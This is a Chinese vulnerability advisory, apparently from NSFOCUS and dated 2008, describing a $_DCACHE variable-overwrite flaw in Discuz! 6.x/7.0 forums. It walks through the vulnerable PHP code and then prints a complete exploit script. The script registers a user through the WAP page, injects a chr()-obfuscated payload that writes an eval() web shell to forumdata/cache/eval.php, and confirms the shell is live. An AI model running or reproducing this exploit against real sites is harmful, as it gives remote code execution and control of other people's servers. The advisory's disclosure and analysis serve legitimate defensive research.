安全研究
安全漏洞
Discuz! $_DCACHE数组变量覆盖漏洞
发布日期:2008-11-14
更新日期:2008-11-17
受影响系统:
Discuz! Discuz! 7.0描述:
Discuz! Discuz! 6.0.1
BUGTRAQ ID: 32303
Discuz!是一款华人地区非常流行的Web论坛程序。
由于Discuz!的wap\index.php调用Chinese类里Convert方法在处理post数据时错误的忽视对数组的处理,可能导致数组被覆盖为NULL。当覆盖$_DCACHE时就可能导致跨站脚本、SQL注入、代码执行等严重的安全问题。
以下是/wap/index.php中的漏洞代码段:
//43行
$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = addslashes(stripslashes($chs->Convert($$key)));
}
unset($chs);
}
...
if(in_array($action, array('home', 'login', 'register', 'search', 'stats', 'my', 'myphone', 'goto', 'forum', 'thread', 'post'))) {
require_once './include/'.$action.'.inc.php';
这个地方是对非utf-8编码下的数据进行编码转换,但Convert方法存在一个问题,如果存在iconv()将会用此函数进行编码转换,这时如果传递进来的参数是一个数组,将会返回FALSE。如果POST提交一个_DCACHE=1,经过Convert()处理$_DCACHE就会被覆盖为NULL,再经过stripslashes()或者addslashes()处理会被覆盖为一个空的字符串。
/wap/include/register.inc.php
//124行
require_once DISCUZ_ROOT.'./include/cache.func.php';
$_DCACHE['settings']['totalmembers']++;
$_DCACHE['settings']['lastmember'] = $discuz_userss;
updatesettings();
这里是注册用户后更新缓存数据,在updatesettings()中如下处理:
include/cache.func.php
//252行
function updatesettings() {
global $_DCACHE;
if(isset($_DCACHE['settings']) && is_array($_DCACHE['settings'])) {
writetocache('settings', '', '$_DCACHE[\'settings\'] = '.arrayeval($_DCACHE['settings']).";\n\n");
}
}
可以看到这里写入的是$GLOBALS[_DCACHE],我们可以在注册时用上面提到的方法把$_DCACHE覆盖为一个空字符串,然后经过上面代码的重新赋值及更新缓存,最后写入forumdata/cache/cache_settings.php的将只有$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember']。
include/common.inc.php
//95行
$cachelost = (@include DISCUZ_ROOT.'./forumdata/cache/cache_settings.php') ? '' : 'settings';
@extract($_DCACHE['settings']);
...
$styleid = intval(!empty($_GET['styleid']) ? $_GET['styleid'] :
(!empty($_POST['styleid']) ? $_POST['styleid'] :
(!empty($_DSESSION['styleid']) ? $_DSESSION['styleid'] :
$_DCACHE['settings']['styleid'])));
$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE['settings']['styleid']);
if(@!include DISCUZ_ROOT.'./forumdata/cache/style_'.intval(!empty($forum['styleid']) ? $forum['styleid'] : $styleid).'.php') {
$cachelost .= (@include DISCUZ_ROOT.'./forumdata/cache/style_'.($styleid = $_DCACHE['settings']['styleid']).'.php') ? '' : ' style_'.$styleid;
}
这里用extract处理了$_DCACHE['settings'],但由于此时包含的forumdata/cache/cache_settings.php文件中仅存在$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember'],将导致大量的变量没有初始化,而此部分变量在整个程序中起到了重要作用。攻击者可以随意提交这些变量,导致跨站脚本、sql注入、命令执行等严重的安全问题。
请注意$styleid可能会导致重新更新缓存文件,可以提交stylejump[1]=1&styleid=1&inajax=1,这样就不会再次更新缓存,forumdata/cache/cache_settings.php里依然是wap注册时写入的数据。
<*来源:ryat (ryat@wolvez.org)
链接:http://www.80vul.com/dzvul/sodb/13/sodb-2008-13.txt
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
/**
* Discuz! 6.x/7.x SODB-2008-13 Exp
* By www.80vul.com
* 文件中注释的变量值请自行修改
*/
$host = 'www.80vul.com';
// 服务器域名或IP
$path = '/discuz/';
// 程序所在的路径
$key = 0;
// 上面的变量编辑好后,请将此处的值改为1
if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
exit("专业点好不,先看看里面的注释 -,-\n");
error_reporting(7);
ini_set('max_execution_time', 0);
$key = time();
$cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
$resp = send();
preg_match('/logout=yes&formhash=[a-z0-9]{8}&sid=([a-zA-Z0-9]{6})/', $resp, $sid);
if (!$sid)
exit("哦,大概是没有开启WAP注册吧 -,-\n");
$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
send();
$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';
if (file_get_contents($shell) == '80vul')
exit("好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t<?eval(\$_POST[c])?>\n别告诉我你不会用 -,-\n");
else
exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-\n");
function send()
{
global $host, $path, $url, $cmd;
$data = "POST ".$path."wap/index.php HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
$data .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $data);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
建议:
厂商补丁:
Discuz!
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.discuz.net/
浏览次数:3791
严重程度:0(网友投票)
绿盟科技给您安全的保障
